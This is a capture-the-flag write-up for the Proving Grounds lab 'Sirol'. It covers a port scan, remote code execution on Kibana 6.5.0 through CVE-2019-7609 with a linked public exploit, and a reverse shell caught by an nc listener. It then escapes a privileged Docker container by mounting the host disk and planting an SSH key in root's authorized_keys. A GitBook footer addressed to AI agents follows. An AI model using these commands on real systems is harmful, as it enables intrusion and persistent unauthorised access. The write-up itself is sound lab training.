# Sirol

## nmap

```
nmap
sudo rustscan -a 192.168.225.54 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

Kibana is running on port `5601`

<div align="left"><img src="/files/-MkTJnG3xM2E7tsFcwCk" alt=""></div>

## Web enumeration

Looks like Kibana is running on version 6.5.0 which is vulnerable to Remote Code Execution.

<div align="left"><img src="/files/-MkTKJT7UCc9BI_bCDuO" alt=""></div>

## Exploitation

Visit <https://github.com/LandGrey/CVE-2019-7609/> and copy the python exploit to your local machine.

<div align="left"><img src="/files/-MkTKjRsOJi8AbduDnj9" alt=""></div>

Set a reverse shell listener

```
sudo nc -lvnp 80
```

Run the exploit

```
python exploit.py -u http://192.168.225.54:5601 -host <your machine's IP> -port 80 --shell
```

And you should receive a root shell inside a Docker container.

<div align="left"><img src="/files/-MkTLKTK_SZsY7gCjO2F" alt=""></div>

## Privilege Escalation

Looks like `--privilege` flag is set since we can run `fdisk -l`

<div align="left"><img src="/files/-MkTLbNCvDRLPLXCsHjY" alt=""></div>

Let's mount `/dev/sda1`&#x20;

```
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```

Create `.ssh` folder on `/root`&#x20;

```
cd /mnt/hola/root
mkdir .ssh
cd .ssh
```

Copy your `.ssh/id_rsa.pub` and paste it to the remote machine's `.ssh/authorized_keys`

```
echo 'insert your public ssh key' > authorized_keys
```

Now you can SSH directly to the machine and escape the container.

<div align="left"><img src="/files/-MkTMl1R0ajQRhcQ1EVk" alt=""></div>

Thanks for reading and enjoy the rest of your day!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://psdon.gitbook.io/hackworld/writeup/proving-grounds-practice/sirol.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
